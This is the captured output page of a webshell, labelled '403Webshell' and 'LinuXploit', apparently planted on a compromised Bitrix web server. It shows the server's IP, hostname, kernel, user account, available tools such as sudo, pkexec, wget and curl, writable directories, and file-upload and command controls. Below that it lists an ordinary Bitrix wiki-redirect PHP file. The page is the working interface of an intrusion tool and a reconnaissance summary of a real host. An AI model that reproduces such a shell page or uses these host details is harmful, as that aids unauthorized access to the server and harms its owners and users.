403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wiki/socnet/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/wiki/socnet/group_wiki_post_comment.php
<?if(!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true) die();

//http://jabber.bx/view.php?id=25340
$arComponentVariables = array('message_id','group_id','wiki_name');

if ($arParams['SEF_MODE'] != 'Y')
	return;

if(!CModule::IncludeModule('forum'))
	return;

$dbMessage = CForumMessage::GetList(array(), array('ID' => intval($arResult['VARIABLES']['message_id'])));

if (!$dbMessage || !($arMessage = $dbMessage->Fetch()))
	return;

$elementID = intval($arMessage['PARAM2']);

if ($elementID <= 0)
	return;

$dbElement = CIBlockElement::GetList(array(), array('ID' => $elementID),false,false,array("IBLOCK_SECTION_ID","IBLOCK_ID","NAME") );

if (!$dbElement || !($arElement = $dbElement->Fetch()) || !($arElement['IBLOCK_ID'] == COption::GetOptionString('wiki', 'socnet_iblock_id')))
	return;

$ibSectionID = $arElement['IBLOCK_SECTION_ID'];

do
{
	$dbIBSection = CIBlockSection::GetList(array(),array('ID' => $ibSectionID, 'CHECK_PERMISSIONS' => 'N'),false,false,array('IBLOCK_SECTION_ID','SOCNET_GROUP_ID'));

	if (!$dbIBSection || !($arIBSection = $dbIBSection->Fetch()))
		break;

	$ibSectionID = $arIBSection['IBLOCK_SECTION_ID'];

} while (!$arIBSection['SOCNET_GROUP_ID'] && $arIBSection['IBLOCK_SECTION_ID']);


$redirectPath = CComponentEngine::MakePathFromTemplate($arResult['PATH_TO_GROUP_WIKI_POST_CATEGORY'],
															array(
																"wiki_name" => rawurlencode($arElement['NAME']),
																"group_id"	=> $arIBSection['SOCNET_GROUP_ID']
																)
															);

$redirectPath .= "?MID=".$arResult['VARIABLES']['message_id']."#message".$arResult['VARIABLES']['message_id'];

LocalRedirect($redirectPath);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit